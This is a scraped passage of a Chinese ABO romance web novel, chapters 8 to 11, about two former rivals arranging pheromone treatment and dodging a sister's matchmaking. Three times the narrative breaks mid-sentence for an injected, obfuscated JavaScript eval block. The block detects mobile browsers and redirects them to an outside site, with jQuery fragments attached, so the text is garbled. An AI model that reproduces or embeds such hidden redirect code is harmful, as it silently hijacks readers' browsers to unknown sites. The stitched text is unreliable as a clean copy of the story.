方烛的目光还在他们俩之间打转。
薛歆正色道:“有事要谈,正好校庆都来,就约了一下——是公司的事。”
她觉得自己没说假话。
模拟信息素当然是公司的事。
方烛相信了。
主要是如果不相信,她也想不出一个能让这俩人凑在一起的更合情合理的原因。
“那你可以告诉我嘛,别搞得这么神秘。”方烛走过来,后怕似的拍拍胸口,“我还以为你们……”
说到这里,她眼珠一转,朝路琅无辜地笑了一下,附在薛歆耳边悄悄地说:“我还以为你们在这约架呢!”
薛歆简直不知道该对这个猜测做出怎样的回应。
她无奈地说:“你对我的印象到底是什么样的,我们不会发生什么,现在又不是大学那几年了。”
路琅没有听见方烛那句大胆的猜测,但听清了薛歆的这句话,不免顺着思考了一下。
发生什么……
大学的时候,他和薛歆确实每次见面都会发生点什么,情况虽然激烈,内容却很单一,无非就是斗斗嘴吵吵架。
现在,能发生的事情多了一个方向。
路琅尽可能不去往那个方向想。
薛歆和方烛又聊了几句,他没有参与对话,眺望着远处的舞台,始终默不作声,只是呼吸的频率稍显加快。
很快,方烛就打算离开了。
“那我先过去啦,老同学都在C区,我去和他们聊聊。”她指了指观众席,“你要是谈完正事了,给我发个消息,咱们还可以坐一块。”
薛歆:“好。”
方烛正要转身走人,想了想,犹犹豫豫地回过头,趁路琅没看这边,指了指手机,比了一个“看我消息”的口型。
她从观众席中的通道走了下去,没过多久,薛歆的手机果然弹出一条新消息。
【FF:话说,你们俩的信息素闻起来好像啊。】
信息素?
薛歆一顿,迅速扭头看路琅,果然发现他颈后那张抑制贴的一个边角粘在衣领上,翘起了一点点。
大概是贴的时候没注意。
路琅最近深受依赖症的困扰,对自己信息素的掌控没有那么精准,情绪稍有波动,就容易无意识地散发一点点出来。
她正在想该如何解释,手机又震了下。
【FF:果然恨会让人越来越相似!】
薛歆:“?”
她心情复杂地收起了手机。
路琅问:“怎么了?”
薛歆:“没什么。”
就是突然有点担心朋友的智商。
路琅以为是她的私事,不再打听,往前迈出一步:“过去吧,我已经看到李老师了。”
观众席前列坐了不少人,人群涌动间,老教授花白的头发格外显眼。
“哎,别走。”薛歆叫住了他,“你先等等。”
路琅应声停了下来。
在他看过来之前,薛歆突然伸手,把抑制贴翘起来的那个角撕下来重新贴了一遍,全过程不到三秒。
做完这件事,她解释:“边上翘起来了,帮你重新贴一下。”
路琅微微睁大了眼睛。
足足过了十秒,他才意识到刚才发生了什么,蓦地抬手按住了后颈,耳根明显的红了起来,被雪白的肤色衬托着,像捏出来的印子。
“你——”
他一时竟然讲不出话。
薛歆也发现自己做的不合适,尴尬地将手收了回来:“我看见了顺手就弄了,抱歉。”
路琅深深呼吸。
他面无表情地把手放下来,心情很不平静。
这一次甚至都没有碰到……为什么竟然会觉得腺体在发烫?
为什么?
-
寒暄没有持续太久。
老教授毕竟年事已高,见到从前的学生,他虽然非常兴奋,可是没聊多久,心脏就有点受不了刺激,追忆往事的环节很快结束,跳到了合照阶段。
薛歆在旁边等着。
她和路琅不是一个专业的,对这位教授只是略有耳闻,没挤在人堆里凑热闹,独自待在一边。
老教授前后几排座椅都挤满了人,薛歆随便在台阶上找了个位置坐下,低着头一直玩手机。
玩着玩着,亲姐发了条消息过来。
【姐:看看。】
薛歆把聊天框往下拉,什么东西也没看见,刚想问发什么了,一串新消息就叮叮当当地弹了出来。
全是Omega的照片。
足足四十多张。
清纯的、明丽的、甜美的……可谓是形形色色,丰富多彩,包罗万象,囊括寰宇。
薛歆从头拉到尾,有点晕脸。
【姐:我连天仙都给你找到了。】
【姐:怎么样?有看上的就给你约出来,想见几个都行。】
这两条消息刚加载出来,又是一阵叮叮当当,更多的照片不停地跳了出来。
薛歆沉默片刻,手掌撑地,从台阶上站了起来,同时将手机拿高,举到了眼睛下边。
她有点害怕被别人看到自己手机屏幕上的内容。
【歆:姐,你散播照片征得人家同意了没?】
薛隽很拽地回复:【我妹妹找对象还需要我去征求同意?他们主动送过来我还要挑一挑呢!】
【你到底有没有看上的?】
薛歆仍然眼花缭乱中。
【我都分不清这些Omega的脸了。】
她真情实感地回答。
【姐:那先不管其他的,我上次跟你说过的那个呢?宋总的小儿子,你再看看喜不喜欢。】
薛歆盯着这堆照片看了一会儿。
【哪个?】
她回复。
【姐:……】
【姐:当然是第一张!】
薛歆开始从最后一张照片往上翻。
还没等她艰难地穿过这片电子花丛,耳畔的谈话声弱了下去,仿佛有心电感应,她停住动作,抬眸时恰对上路琅的目光。
手指惯性地继续滑动着。
路琅越走越近,相亲实况快要暴露在他眼皮底下时,薛歆猛地回神,把屏幕摁熄了。
“结束了?”她看一眼渐渐散开的人群,“比我想象的快。”
路琅走过来:“聊了点以前的事情,老师的身体受不了,先去休息了。”
薛歆问:“你还留吗?”
路琅摇头:“我先回去了。”
“行,我跟你一起。”薛歆说,“工作室还有事,我也得走了,晚会之后看看网上的剪辑就行。”
她转过身,迈着轻快的步子上了几级台阶,看着礼堂中复杂的楼梯和通道,想起之前的对话,说:“时间还早,正好,我带你去二楼看看吧。”
路琅一愣,不知道她在打什么哑谜。
他问:“看什么?”
“二楼的侧门啊,来之前不是跟你说了吗?”薛歆笑,“你居然不知道,很方便的,绕出去之后走两步就是人工湖,我最重要的大学回忆之一啊。”
“我不去。”
路琅开口就是拒绝。
又不是小孩子,玩什么探索秘密基地的游戏?
薛歆劝:“反正我们要出去,换条路走而已,那边人还少。”
路琅全无兴趣,犹豫了下,幅度很小地点点头。
这里人群密度太高,他只想尽快离开而不是四处探秘,但薛歆陪了他一路,想想也该还回去,于是答应下来,心里并没多少期待。
薛歆却一下子兴奋了,站在高几级的台阶上,招了招手,说:“来吧,带你走秘密通道。”
她弯起眼睛,睫毛下落了点光。
路琅抬头,看见她唇边噙着的那抹笑,不知怎么,心脏好像一瞬间有点不会跳了。
他忽地垂眼。
“好。”
-
所谓秘密通道,入口就是二楼一扇不太容易被注意到的小门。
“从这出去之后,有个绕外墙的露天走廊,很窄,可以走到礼堂侧面。”
薛歆尽着导游的职责:“尽头是人工湖旁边的小树林,有一条大家踩出来的路,不容易看见,穿过去就是湖心小道。”
路琅心不在焉地听着。
他没想到这条秘密通道的海拔这么高,没有护栏,走在上面总觉得脚下有点飘。
临湖礼堂是老建筑,在校礼堂、话剧院、福利院这些历史之前,它是本地最著名的教堂,尖顶的,特别大特别高。
薛歆说的这条小路绕着外墙,最开始估计是个观景台。近些年来,礼堂后面种了一大片树林,无景可观,它就被渐渐遗忘了。
这里安静得只能听见风声。
“今天校庆,学生都去外面了,平常这里总有人,特别是晚上,小情侣爱在这儿幽会。”薛歆边走边说:“今天我们也……嗯?”
一根被风吹折的树枝掉在面前,她停住话音,把它捡了起来。
路琅的呼吸也跟着停了一瞬。
我们也?
停的地方太凑巧,他差点要开口追问了。
她要说什么?幽会?这种话就算是玩笑都很无聊,谁想和她幽会了?毫无逻辑的思维发散必须扼杀!
薛歆晃了晃手里的树枝:“……我们也太奇怪了。我跟你一起走在这儿,看起来真有点好笑。”
她说完还要征求意见:“你不觉得吗?”
路琅一点想笑的感觉都没有。
他抿住唇,冷冷地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243199|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说:“是你非要走这里的。”
“因为这里近啊。”薛歆说,“能节省十分钟,难道你还想跟我多待一会儿?”
路琅:“……你走这里就只为了近?”
薛歆:“不全是,我顺便也怀念怀念青春,毕业这么多年都没回来看过。”
不全是。
那就还是占了大部分原因。
走近路当然更好,毕竟他们从前相看两厌。但路琅总觉得心里有点堵。
他暂时不想再开口讲话了。
薛歆走了一会儿,听见后头没动静了,回头一看,路琅默不作声地跟在后面,神情似乎有些低落。
她停下来问:“你不舒服?看起来好没精神。”
路琅摇头。
他现在只想赶快走完这段该死的长路,和薛歆分开,好让诸多诡异的情感波动平复下来。
薛歆回头看了他一会儿,想一想,把脚步放慢了。
“正好跟你汇报下模拟信息素的事。”她说着之前问到的信息,“技术还是挺成熟的,但现阶段只能稳定达到自然标记60%的效果,估计不够,还是用原来的方案吧。”
原来的方案是临时标记。
路琅看着地面点头,并没对这个结果表现出很失望,他本来也不指望模拟信息素能有用。
薛歆问:“医生后来怎么说,下一次标记要在什么时候?我最近时间挺紧的,确定下来,我好调整安排。”
路琅:“七天后,下个月9号。如果和你时间有冲突,可以再往后推。”
薛歆:“下个月九号,我想想……我应该没事,那就到时候见了。”
提起标记,路琅想到了上次聊过的补偿,说:“你的租金要怎么谈?”
话题一跳,薛歆反应了下,才想起来还有这件事。
“不确定,还早的很,我还要再规划规划。”
“再说,”她笑笑,“我也没那么急着要跟你两清,既然答应帮忙了,没补偿我也会帮到底的。”
路琅沉默几秒,偏开眼:“谢谢。”
薛歆惊讶地咦了一声:“你这不是会讲好听的话吗?”
“……”
路琅紧紧地闭上了嘴。
三分钟后,悬空观景台终于走到了尽头,在人工湖后面那片茂密森林的入口处断了。
薛歆拨开树丛,一条明显是被人踩出来的小路显露出来。
“从这穿过去就快到了。”
路琅从刚才被调侃了之后就再没讲话了,走过来,看见生长得相当狂放的灌木丛,忍不住皱了皱眉。
从这儿走一定会粘的满身是灰。
他不禁再次后悔答应了薛歆一时兴起的提议。
薛歆在半米外示意:“直接跨过来。”
都走到这里了,犹豫也不是办法,路琅抬起脚,尽可能不碰到那些落满灰的叶子,一步跨过了灌木丛。
他的动作很流畅,奈何地面太崎岖,左脚刚落地,就被一根横斜在地面的树枝绊了下,脚下不稳,眼看着就要栽倒在地。
薛歆立刻反应过来,朝前一步,伸手把他接住了。
“没事吧?”
路琅的脸色有点发白,过了几秒,才轻轻地摇了摇头。
薛歆松了口气,正要再礼节性地关心两句,目光朝怀里一扫,突然发现两人的姿势不太对劲。
她默默松开了扣在对方腰上的手。
路琅本来没意识到,感受到这个动作,本能地低头看一眼薛歆的手,一张脸迅速红了。
“我没事。”
他的语速快到像是心虚,说完,退后一步想拉开距离,差点又踩回到身后的灌木丛里。
好不容易站稳,路琅抬眼,发觉薛歆还在看他,忍着羞耻强调一遍:“我真的没事。”
薛歆回神:“我知道。”
路琅:“那就别盯着我看。”
在树林昏暗的光影中,他的脸部线条不如平常清晰,距离很近,看起来也朦朦胧胧的,像遮着一层雾。
薛歆隔着雾气注视着路琅的脸。
她喃喃地说:“我现在突然觉得,他们说的也没错,你确实……”
路琅受不了被这样看着,耳尖都泛了红,催促道:“确实什么?”
薛歆:“你确实很漂亮。”
……
路琅的大脑咔一声死了机。
他漂亮的脸上浮现出一层茫然。
什么?什——她突然在说什么?
薛歆讲完才发现自己说了句多么突兀的话。
“呃,我是说,那个,嗯。”她努力补救,“我就是觉得……”
适时震动起来的手机拯救了她。
薛歆:“我先回个消息。”
她低下头,按了两下指纹都不对,连忙切成密码模式。
解锁成功的一瞬间,某些被短暂遗忘的记忆随之回笼。薛歆忽然想起,她之前正在和薛隽聊相亲的事儿,屏幕上还是那些……那些照片!
来不及了。
屏幕亮起,两人同时看过去。
七八张各式各样的Omega写真照最上方,是一条特别扎眼的消息。
【有看上的就给你约出来,想见几个都行。】
9. 第 9 章
从秘书口中得知妹妹正在办公室等着见她的时候,薛隽刚从工厂回来,带着一脸喜色就上了楼。
随即被薛歆的脸色冻回了北极圈。
“突然怎么了?谁惹你不高兴?”
薛隽站在门边询问,谨慎地观察着妹妹的表情。
薛歆看见亲姐就想起那条消息。
尽管那已经是昨天的事儿了,她还是想起就一阵胃疼:“能别催婚了吗姐,你堂堂一个董事长,又不是专门给人做媒的。”
这回薛隽罕见地没有反驳。
“行,不催就不催,你自己折腾去吧。”她爽快地摆摆手,“以后找不着对象可别想再求你姐帮忙。”
薛歆:“?”
薛隽:“又怎么了?”
“你怎么突然愿意放过我了?”薛歆怀疑地问,“该不会被人调包了吧?”
薛隽敲她的额头:“想什么呢,最近新药上市,我每天都忙得要死,以后都没时间管你了。”
薛歆惊讶:“又有新药?我们家抑制剂改版换代的速度快赶上手机了吧。”
“不,恰恰错了,这次不是抑制剂。”薛隽摇摇手指,“是前所未有的新药,官方扶持的,和你母校的实验室有合作。”
她想了想:“算是带点公益性质吧。”
薛歆:“公益?”
“对,是信息素脱敏针。”
薛隽先抛出一个简短的名词,随即开始喋喋不休:“和治疗传统过敏的那种不一样,我觉得该叫‘去影响针剂’,用来消除标记之后信息素对双方的影响,能治疗依赖反应之类的。不过征集意见之后,都说这个名字太浅显了,不够高端,所以后面改成……”
“谢谢你。”
薛歆忽然没头没尾地说。
薛隽:“嗯?”
薛歆站起身,拍了拍她的肩膀,真诚地说:“姐,你终于有用了。”
薛隽怒道:“什么玩意儿?你——”
薛歆已经像一阵风般刮出了办公室。
坦白地讲,她对临时标记虽不抗拒,态度却也不能说多么积极,至少她无法认同和薛隽那套“标记等于感冒药”的理论。
如果能不标记就解决问题,当然是千好万好。
下了楼,电梯门刚在眼前打开,薛歆就拿出手机要联系路琅。
好友是那天去医院后加上的,聊天界面空空如也,谁也没主动发过消息。
她点了点语音通话。
一行小字猝不及防地出现在眼前:
【请确认你和对方的好友关系是否正常】
薛歆刚组织好的语言卡在喉咙里。
她难以置信。
这是被路琅拉黑了?
薛隽发的那条消息是让人误会,但她明明当场就解释过了,根本不是那回事,她真的不是渣A!
薛歆用指尖点了点这个冰冷的弹窗。
她既有些无语,又感到某些认知被刷新了。
路琅居然是这种一言不合就要把对方拉黑的性格吗?
好任性。
薛歆切回到通讯录,想联系路琅的主治医生,像上次一样让人家帮忙带话。
但这是不是太幼稚了?
她想了想,脚步一转,推门折回了办公室。
“哟。”薛隽正好签完一份文件,抬起头看她,“二顾茅庐来了?”
薛歆开门见山地问:“姐,你有路琅的联系方式吗?”
“路……”薛隽先是疑惑地眯了眯眼,而后才想起来,“哦,路氏的那个小年轻。”
“不确定,你自己找找。”她把手机推过来,“我应该只有老路总的联系方式,这几年跟路氏没什么合作了,年轻的这一代我不太熟。”
薛歆听到这儿已经不抱希望了。
打开联系人列表搜索,果然一无所获。
薛隽问:“怎么突然要联系他?”
薛歆含糊地说:“有点事。”
薛隽把手机拿回来:“如果着急,我联系老路总问问。”
“不不。”薛歆制止,“也没那么急。”
薛隽动作一顿,盯着她看了几秒,有些怀疑地问:“到底为什么要找他?你是不是有什么事情瞒着我?”
薛歆:“没有。”
她答得很快。
薛隽:“你有事情瞒着我。”
薛歆:“……是有一件。”
薛隽便露出一副果不其然的表情,嘶了一声,颇为无语地问:“该不会还是上学时候那点恩怨吧?都什么岁数了,你俩还在玩这种你打我一下我打你一下的游戏。我的天,薛歆,让我说你什么好?”
薛歆无辜挨骂,有苦说不出。
三分钟后,薛隽的长篇大论终于结束。她瞅一眼妹妹,突然说:“你和路琅的关系要不是这么差,我也用不着费劲催婚了。”
薛歆一直沉默着走神,听到这儿,抬头发出一个困惑的音节:“嗯?”
“你忘了?挺久之前,有人想替我们俩家牵线,那会儿你十五六了,叛逆得恨不得原地起飞,我想问问你的意见,刚说两句就被一顿怼。”
薛隽幽幽地问:“你不记得了?”
薛歆想了又想,只觉得冤枉:“我真没印象了。”
薛隽盯住她,半晌,啧了一声:“挺好,选择性遗忘也是个天赋。”
薛歆当没听见,把话题拽回来。
“无论以前怎么样都过去了,这次是真有正事,暂时不太方便讲。”她保证道,“我会解决好的。”
薛隽勉强相信了。
薛歆起身:“那我走了。”
薛隽:“等等。”
她拿起手机划动了几下,将一个定位发给了薛歆。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243200|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>薛歆看了眼,是个酒店的地址。
“晚上有个应酬,那几家和我们都没有业务往来,我不准备去。”
薛隽说:“路氏多半会到场,按现在的情况,来的估计就是你要找的那个。那么正好,你可以替我出席。”
薛歆:“我也没有……”
也没有到要去线下堵人的程度。
不过,仔细想想,这么做似乎也挺有意思的。
她又看了一遍那个地址。
“好,就这么定了。”
-
拉黑是一时冲动的结果。
路琅说不清冲动的原因,但很愿意保持现状,过去一整天,仍然没有把薛歆从黑名单里放出来的想法。
校庆次日,他的心情已然平复,除了若有若无的柑橘信息素飘过时,不再想起薛歆。
白天平静无波地过去。
晚上有个商业晚宴,路琅既无兴趣也没精神,可老路总跟主办方有些交情,出于礼节,他还是去了。
宴会规模很大,本市名流基本都接到了邀请,虽然不是人人都出席,但会场也算是群星闪耀了。
路琅走到宴会厅附近,远远看见了一个合作过却不太熟的人正好走在前面。
他讨厌不必要的社交,停下了脚步。
等待了约摸五分钟,估计着这人已经走远了,路琅重新迈步往前。
刚折过转角却听见了对方的声音。
“行,见她一面还真难。”那人不知在对谁说话,“别忘了替我带话啊。”
“一定。”
薛歆笑着说。
待面前这位连名字都记不清的X总离开后,她的表情变成苦笑,按着眉心叹了口气。
社交好累。
难怪薛隽不愿意来。
时间还早,薛歆先发了条消息控诉亲姐,又原地缓了半分钟,才找回了应对后续社交环节的勇气。
她正要往前走,突然听见背后有脚步声。
又是何方神圣……
薛歆扯扯嘴角,扬起一个社交专用的微笑,一边快速回忆薛隽的人脉网,一边扭头朝身后看,心里过了几种开场白。
下一秒,她和迎面走来的路琅对上了目光。
双方的动作都是一个急停。
在黑名单里躺着的人突然从天而降,路琅的心情很复杂,最鲜明的感受是尴尬。
他完全能猜出薛歆是替她姐来的。
只是不凑巧碰见了。
路琅想,薛歆又不会没事给他发消息,怎么可能发现自己被拉黑了。
没什么尴尬的。
路琅明知故问:“你怎么也来了?”
薛歆这会儿反应过来了。
“我来找你啊。”
她的语气很自然,随意地扬了扬手机。
“你不是把我拉黑了吗?”
10. 第 10 章
薛歆怀疑自己的手会被路琅盯出一个洞来。
“别看了。”她把手机揣回衣袋里,“再看也改变不了既定事实,你拉黑的时候就没想过会我被发现吗?”
路琅终于把目光移开了。
“所以,”他看着薛歆的眼睛,“你是来兴师问罪的?”
薛歆:“那倒不是。”
“想拉黑就随你,我无所谓。”她不甚在意,“难道我们之间还有什么闲话可聊?”
这话让路琅皱了下眉。
他不想理会,抬步绕开薛歆。
这时,远处隐隐传来夹杂着大笑的谈话声。
薛歆听见声音,抬眸扫了眼,看见转角有几个逐渐变大的影子。
她收住了没讲完的调侃,拦下路琅:“我有事找你。”
声音越来越近。
薛歆:“换个地方说。”
路琅:“我不去。”
拒绝无效。
薛歆不容分说地把他拉进了宴会厅旁的一间休息室。
场景太相似。
路琅浑身一僵。
不过这次没反锁。
两人没朝里走,面对面站在门边,谁也没立刻开口。
路琅被突然拽进来,很不乐意,勉强等了几秒,见薛歆还不说话,就耐心全无地伸手去开门。
“别着急。”
薛歆隔着衣袖握住他的手腕,拇指和食指紧扣着,像一把小锁:“再给两分钟,我可是带着好消息来的。”
路琅低头看着自己的手,轻微蹙眉,问:“什么好消息?”
薛歆:“我找到了替代临时标记的办法。”
路琅挣开了她的手:“说。”
“对我客气点不会怎样。”薛歆把手插进衣兜里,“看新闻了吗?信息素脱敏针剂,刚上市,能缓解依赖反应。”
路琅谈不上多高兴。
讨论模拟信息素时,他已经听过类似的话,现在的感觉更像狼来了。
薛歆快速地把自家产品介绍了一遍。
路琅听着,一言不发。
他觉得情况好像反过来了。
明明他才应该是那个对标记极度抗拒、不停寻找替代方案的人。
薛歆讲完,问:“大致就是这样,你怎么想?”
路琅不可能给其他答案。
“我没意见。”
他说。
“那就行。药剂需要定制,还要抽个时间去采样,可能会有点麻烦,我先跟你讲一声。”
“不过,”薛歆说,“再麻烦也比标记好,你不觉得吗?”
路琅觉得这也该是他的台词。
不知怎么,听着薛歆轻松的语气,他突然有点烦躁。
他低声:“嗯。”
薛歆:“那我就去安排了,估计就是明后两天,确定了给你发地址。”
她用指尖敲敲手机外壳:“别忘了解除黑名单。”
路琅完全不想再提这个。
他的声音更低了:“……嗯。”
薛歆觉得他的语气听起来不太情愿。
她想了想,把拨号界面调出来,示意道:“以防万一,先给我留个电话号码。”
这理所当然。
路琅没把手机接过来,低下头,就着薛歆的手在屏幕上输入数字。
一点点白花的香味飘过来。
柚子花。
薛歆心想。
早先上学的时候,她一度认为路琅的信息素至少得是胡椒味。
更符合他的性格。
很快,路琅把电话号码输完了。
他每点一下,薛歆就能感觉到手机轻晃一下,像猫爪拍在屏幕上。
她不由得攥了攥手指。
路琅没有察觉。输完十一位数字,他往前半步,抬起头,俯身作势要去拉薛歆身后的门把手。
薛歆偏头看他。
头发贴着面颊擦过。
两人的呼吸几乎缠在一起。
“就走了?”薛歆忽然开口,“没有其他要问的?”
她的气息轻轻流动,伴着一点柑橘的气味。
路琅顿了顿,捏紧了门把手:“没什么可问的。”
薛歆抵着门没让开。
路琅不得已松手,掀眸看她:“你还有事?”
他的音色和气质一样,都是冷冷淡淡的,这一眼却很有情绪,让整张脸都变得生动。像色泽鲜亮的花瓣,背面长着细细的绒刺。
薛歆被看得一时忘了自己原本要说的话。
她微微皱起眉。
虽在神游,因为脸上没有笑意,看起来像是在正经的思考着什么东西。
路琅耐着性子等了一会儿。
薛歆仍然没有要说话的意思。
路琅抬高声音:“薛歆!”
薛歆回神:“嗯?”
对视一眼。
路琅:“你有话可以直说。”
“嗯。”薛歆伸手按了下眉心,视线偏转,“我想想。”
直说——总不能直说“突然发现你长得真好看所以我看得走神了”吧?
她从脑海中的各种念头里随机抓出一个:“我只是觉得你的反应太平淡了。麻烦解决了,不值得你高兴吗?”
路琅面无表情:“高兴。”
薛歆:“……”
Omega真是难以捉摸。
她看看手机,发现离晚宴开场还有一段时间。如果立刻掉头就走,也完全来得及且不会引人注意。
反正薛隽也说了参不参加无所谓。
薛歆当即决定走人。
她是抱着突然出现吓路琅一跳的想法来得,没想到他这么平静,十分扫兴,本就不喜欢的应酬似乎也变得更讨厌了。
决定要离开,她的心情轻松不少,唇边浮了点笑意出来。
路琅觉得更加烦躁了。
薛歆让开路,把抵了半天的门拉开了,跨出去之前想和路琅说声再见,回过头,发现他正直直的盯着她看。
薛歆动作一顿:“怎么?”
路琅凝神看她,乌黑眼珠里闪着点光,看起来冷冰冰的。
“你很高兴?”
他忽然问。
薛歆:“我?”
她这时才意识到自己是笑着的,指尖碰了碰唇角,迟疑地说:“还可以吧。”
路琅不再说话了。
他收回目光,先薛歆一步走了出去,直到绕过转角都没回头。
就这么——
路琅不知道自己究竟因何烦躁,但这种情绪确实沉甸甸压在心上,让他的脑海里不断盘旋着一句话。
能摆脱我就这么高兴?
他忍不住想。
另一边,薛歆不知道这段心路历程。
她看出路琅心情似乎不好,但没找到原因,看着他的背影消失在视野中,带着疑惑转了身。
……能避免临时标记还不高兴?
真难懂。
薛歆没思考太久,很快也离开了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17243201|197833||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下楼的路上再没碰到熟人,她给薛隽发了消息,打算当做自己从没有来过这里。
走廊里信号不太好,消息发出去半天还在转圈。到了电梯口,身后有人走过来,薛歆停下来让开路,低头继续等待消息加载。
那人却在她身边停了下来。
“薛小姐?”
有些惊讶。
薛歆抬起头,看见身旁站着一个高挑的男Omega,漂亮得扎眼,看起来只有二十岁出头。
似乎在哪见过他的脸。
她想了想,没记起来:“请问您是?”
对方露出一个羞涩的笑容。
“宋从玉。”他说,“薛总给我看过您的照片。”
照片?
一串关于Omega写真的回忆浮现出来。
薛歆恍然大悟。
“幸会幸会。不好意思,我今天状态不太好。”她打量着,“你比照片看着显小。”
宋从玉不好意思地笑。
薛歆问:“今年多大了?”
宋从玉似乎怔了怔。
“十八岁。”
他小声说。
薛歆沉默了下。
“十八?”她确认道,“虚岁还是实岁?”
“不是虚岁。”
宋从玉连忙说:“我九月份过生日,已经成年了。”
薛歆本想和他握手,还没伸出来,听完这句,顺势往回插进了口袋里:“那还在读书吧,在国内上学?”
宋从玉点点头,语速慢下来:“嗯,戏剧学院。”
薛歆:“这么巧,我有个朋友的女儿也在戏剧学院上学,学的配音,比你大几岁。你学的哪个专业?”
宋从玉低声:“表演。”
“哟,那很厉害。”薛歆笑,“宋家要出个大明星啊。”
宋从玉抿住唇,没有讲话。
这有点儿不太礼貌,不过薛歆没在意,她说完就转身按了下行按钮,说:“那我先走了。”
宋从玉忙说:“我也要下去。”
电梯正好停在上一层,很快就到了。
薛歆说:“走吧。”
已近傍晚,酒店里按理说应该有很多人进出,但电梯一路下行,始终没有遇上其他人。
薛歆没再找话题,宋从玉也不知道要怎么搭话。
他有点沮丧地低着头,没有再出声,直到电梯门打开,才鼓起勇气,急急忙忙地拦住了薛歆。
“我能加一下您的联系方式吗?”宋从玉紧张地说,“我听说影叙在招样片模特,很快就寒假了,如果有机会,我想尝试一下。”
影叙是薛歆那家摄影工作室的名字。
毕竟是宋家的小少爷。
这要求简单到很难拒绝。
薛歆:“好。”
加上好友,宋从玉有了点笑容,眼睛很亮。
薛歆低头修改备注,又说:“最近要开分店,太忙了,我可能顾不上,之后让人事联系你。放心,我会交代清楚的。”
宋从玉的笑容僵了僵。
薛歆随意挥挥手,径直走了,没再给更多互动的机会。
走到无人处,她立马拿出手机给薛隽发消息。
【歆:我遇到宋总的小儿子了。】
【歆:十八岁你也推给我?!】
几分钟后,薛隽慢悠悠地发来回复。
【姐:十八的Omega一枝花,怎么,你还不满意?再小点可就犯罪了。】
薛歆:“……”
11. 第 11 章
吃一堑长一智。
薛歆立马把这条消息删了。
删完还不放心,往上翻了翻,把那一堆破坏她社交形象的写真照和薛隽的各种狂妄之言全部清空。
想一想,给亲姐发了条友情提醒。
【歆:谨言慎行。】
薛隽回了一长串问号过来。
一忙起来,时间就过得飞快。薛歆晚上回家还记得要把宋从玉的名片推给人事,第二天一醒就全忘了。她两天外出了七八趟,先是考察完所有的新店地址,又公司医院两头跑,把脱敏针采样的时间也确定了。
自家开着药企,事情办起来很轻松,唯一的难点只在如何不让薛隽知道。
“对,是我对象。关系不稳定,怕家里给他压力太大了,还没跟我姐说。”
薛歆给医生朋友打电话:“不用特别做什么,帮我瞒着我姐就行。”
朋友一口答应:“小问题。”
薛歆转头去和路琅确定时间。
她点开通讯录,正要按下拨号键,忽然想起之前被拉黑的事,看着电话号码想了想,把微信打开了。
先试试看。
她随便发了个emoji。
这次没冒出来红圈提醒。
消息顺畅地沿着网线发送到另一端。
办公室里,路琅看着薛歆头像后面跟着的狗头emoji,陷入一阵沉默。
有一瞬间,他怀疑对方被盗号了。
【路琅:有事就说。】
聊天框顶部开始显示“对方正在输入中”。
路琅把手头的工作暂且放下,在手机前面等着薛歆发消息过来。
等了一会儿。
顶端的状态还是正在输入。
到底要说什么?
路琅不愿意花心思猜测薛歆到底想说什么,这让他觉得有点……向来只有别人猜他的心。
可惜,在意识到自己不愿意之前,他已经盯着聊天框思考了足足一分钟。
也许是脱敏针剂出了问题。
如果是因为这个,那没有关系。
反正,路琅想,他也不是很寄希望于这些办法。有当然最好,如果没有,标记也无所谓。他不可能被区区几次标记影响心境。
正在输入又持续了一阵子。
路琅盯着这几个字出神,屏幕忽然一变,对面直接打了一通语音电话过来。
他愣了下,接起来。
薛歆的声音从听筒传出:“路琅?”
经过了电流的传输,她的声音似乎变得比平常动听了一点,沉沉地像大提琴的乐声。
路琅把手机拿远了:“嗯。”
“医院那边我已经谈妥了。”薛歆问,“明晚你有时间吗?”
路琅的呼吸停了一瞬,随即,他低声应道:“有。”
薛歆:“那就好。”
路琅忍不住追问:“是信息素采样?”
薛歆:“对啊,上次和你说过。这么快就忘了?”
路琅脱口而出:“我没忘,我只是以为——”
薛歆疑惑:“你以为?”
路琅不知怎么回答。
以为会有某些意外,就像之前谈论模拟信息素的时候那样,出现计划外的情况,让事情发展不如薛歆的心意。
而应该合他的想法,比如说就用最初的办法,标记……
想到这里,路琅猝然一惊。
他简直无法想象,在内心深处,自己居然会更期待标记。
不,他只是渴求信息素而已。
都是依赖症的错。
为了转移注意力,路琅立刻说:“没什么。你继续说。”
“我也没有其他要说的了,只有一点。”薛歆把和医生朋友交代的话转述了一遍,“所以我们得假扮情侣,这样不用解释太多,会容易点,也更方便要求其他人保密。”
路琅:“没有必要,对我来说,这不是个见不得光的秘密。”
薛歆:“但对我是。”
“要是被我姐知道咱俩有什么关系,她绝对会想尽办法撮合我们。”她有些无奈地说,“到时候不得安生的可就不止我一个了。”
听到这里,路琅安静了一会儿。
